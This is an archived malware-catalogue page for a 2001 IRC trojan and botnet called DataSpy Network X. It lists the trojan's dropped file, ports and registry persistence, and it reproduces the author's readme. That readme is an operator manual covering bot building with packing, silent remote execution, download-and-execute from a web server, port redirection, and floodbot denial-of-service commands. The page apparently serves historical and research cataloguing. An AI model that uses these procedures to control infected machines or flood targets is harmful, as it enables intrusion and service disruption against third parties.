Archive Helmet Icon Archive A Reconstructed © MegaSecurity Database

DataSpy Network X 0.3 beta

Released 24 years, 11 months ago. May 2001

Copyright © MegaSecurity

By DataSpy


DataSpy Network X 0.3 beta
Informations
Author DataSpy
Family DataSpy Network X
Category Remote Acces
Version DataSpy Network X 0.3 beta
Released Date May 2001, 24 years, 11 months ago.
Language Visual C++
Additional Information
Server:
dropped file:
C:\WINDOWS\SYSTEM\WINVTOL.EXE

port: 1025, 1026, 1027, 1028, 113 TCP

startup:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Author Information / Description
////////////////////////////////////////////////////
  ////////////////////////////////////////////////////
 ////////////////////////////////////////////////////
 DataSpy  Network  X  Version  0.3  Beta  Readme.txt
 \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
  \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
   \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
    \\ DSNX Copywrong DataSpy (
[email protected]
) \\

############
# Info     #
############
DSNX is written and compiled with MSVC 6.0 Standard.
Greetings to CyberFly!, SilenceGold, nog :P, RaYmAn, Stskeeps and anyone else i forgot...


Released: Early May 2001
################
# Features     #
################

-New Features In 0.3 Beta
+ Server List
+ Better FloodBot Handling (More control): 
  The bastards dont automatically start flooding.. change type of flood / target 
  and issue raw irc commands to them also.
+ Added three types of flooding (Join/Part, Contorl Char and DCC Send)
  Removed Services Killer (For now) :P
+ Mask/Host Authentication
+ Added Command NonSplitting: You can specify not to break up an input command :
  !k fuck all would normally be broken up into 'k', 'fuck' and 'all'.
  By parseing the command with speech marks it wont break text within the speech marks. 
  Eg: !k "fuck all" 77 would break into 'k', 'fuck all' and '77'.
+ Put all the clone/floodbot commands into the !c subdirectory.
+ Added query window as a possible place to reply to commands.
+ Added spaces before the reply so all the replys from bots with different 
  length nicknames are aligned (Easier to read)

-Features From Previous version(s)
+ All user data encrypted to prevent comprimisation of botnet :P
+ NickDB (Nick DataBase) The main bots take on real names instead of random text
  (LMAO you get some funny ones!)
+ Specify where the bot replys to (Channel, Notice or Query)
+ Errors are marked for the owner to see (in bold text)
+ Port Redirect
+ Web Download And Execute
+ Execute remote command/file silently
+ Ident Server Built In
+ Extensive clone/floodbot handling
+ Lots more never seen before / undocumented

-Bugs Fixed
+ Port redirect now shows real ip address
+ Umm...

###########
# Key     #
###########

 * <----------------- Means optional
 *Match_Text <------- Searches for the string in the current data
  (Eg server name, target) and only if it matches does it do anything
 <PREFIX> <---------- The prefix you specified when building your bot


###########
# Usage   #
###########
-Building DSNX.exe

	Run DSNXeditor.exe and fill in all the required fields
	Click Create EXE

	#Editor Options
	- IRC Server and Port 
	- #channel channel_key
	- Reply to (Channel,Notice or Query) - Where the bots send the messages
	- Password - Say the password to the bot in a channel or private message (no prefix)
	- Prefix - One char that must be put infront of all commands
	- Hostmask - Max 10, sperated by a colon ';' ? integer or * wildcard 
	  (Note, no colon on the begining or end, only seperating)
		Eg: *;nickname!ident@*.com;dataspy!grnder@*on.wave.home.com
	- Pack after create - If selected (recomended) will pack the server using UPX

-Logging In

	Type your password to the bot either in a channel or in a private message
	=Note, only one login is allowed per mainbot, 
	if someone else is logged in you cannot login.


-Logging Out
	
	<PREFIX>L


-Retreive IOHandler Info

	<PREFIX>I


-Start a port redirect

	<PREFIX>P Source_Port Destination_Address *Output_Port
	=Note, destination address can be a server list specified by sl<num>


-Stop a/all port redirect

	<PREFIX>P *Match_Text   Only stops ones with match text
	<PREFIX>P		Stops all port redirect

-Create a main bot

	<PREFIX>M #channel Irc_Server *Port
	<PREFIX>M "#channel_AndKey" Irc_Server *Port
	=Note, Currently DSNX tries to stop you creating a new mainbot in the 
	current mainbot's channel


-Quitting/Restarting DSNX

	<PREFIX>Q *seconds_untill_return
	=Note, If seconds_untill_return is not specified, 
	the bot will wait untill it is run again before returning,
	otherwise it will return as soon as seconds_untill_return is up.


-Raw IRC Command To MainBot

	<PREFIX>R "Command"

-Change NickName

	<PREFIX>N *Nick_Length
	=Note, To change the max length of the bots nickname (default is 9) specify Nick_Length


-Execute Remote Local Program

	<PREFIX>E Path_And_Program


-Download File From Web Server

	<PREFIX>W http://www.server.com/yourdirectory/file.exe



-Uninstall DSNX on remote machine

	<PREFIX>Z
	=Note, Must be done twice, second time for confirmation

-Server List Commands

When connecting to a server in a server list, the first server is chosen at random,
then the list will be cycled untill a connection is established.
Maximum of 4 list cycles before giving up.

	#Create New Server List
	
		<PREFIX>S N *List_Number Server1 Server2 Server3....
		=Note, If List_Number is not specified the next server list available will be used

	#Servers List Info
		
		<PREFIX>S I


-Clone/Floodbot Commands

+FloodTypes
 1:CTCP
 2:JOIN/PART
 3:Large blocks of random text
 4:DCC Send Flooding
 5:Nick Flooding

	L-Load / Create Floodbots/Clones
		
		<PREFIX>C L Number_To_Load *Server *Port
		=Note, If Server and or Port arent specified then the current server
		the control bot is on will be used.

	K-Kill Floodbots/Clones
	
		<PREFIX>C K *Match_Text

	G-Start Flood (Go)

		<PREFIX>C G Target *Type_Of_Flood *Match_Text           //For Users, only types 1 and 3 will work
		<PREFIX>C G #Target *Type_Of_Flood *Match_Text         //For Channels
		=Note, Default flood type is number 1 : CTCP Flooding

	S-Stop Flood
		
		<PREFIX>C S *Match_Text

	T-Change Target

		<PREFIX>C T New_Target *Match_Text

	X-Change FloodType
	
		<PREFIX>C X New-Type *Match_Text
	
	R-Send Raw IRC Command
		
		<PREFIX>C R "Command" *Match_Text



DataSpyNetworkX (C) DataSpy 2001
 Email :
[email protected]
[17.09 8th May 2001]

This archive is an almost-complete reconstruction of the legendary Mega Security (also known as Kobayashi), a premier 90s-era "Trojan Database" where malware authors once showcased their work. After a decade offline, the site was brought back in August 2024 by its original creator, MasterRat, who authorized the Malware Gallery to host this modernized, searchable version of the collection. While the original site remains available for those seeking a nostalgic, old-school experience, we are proud to continue its legacy here. Full credit and thanks go to MasterRat and the retired Mega Security staff for their years of dedicated work in cataloging these historical samples.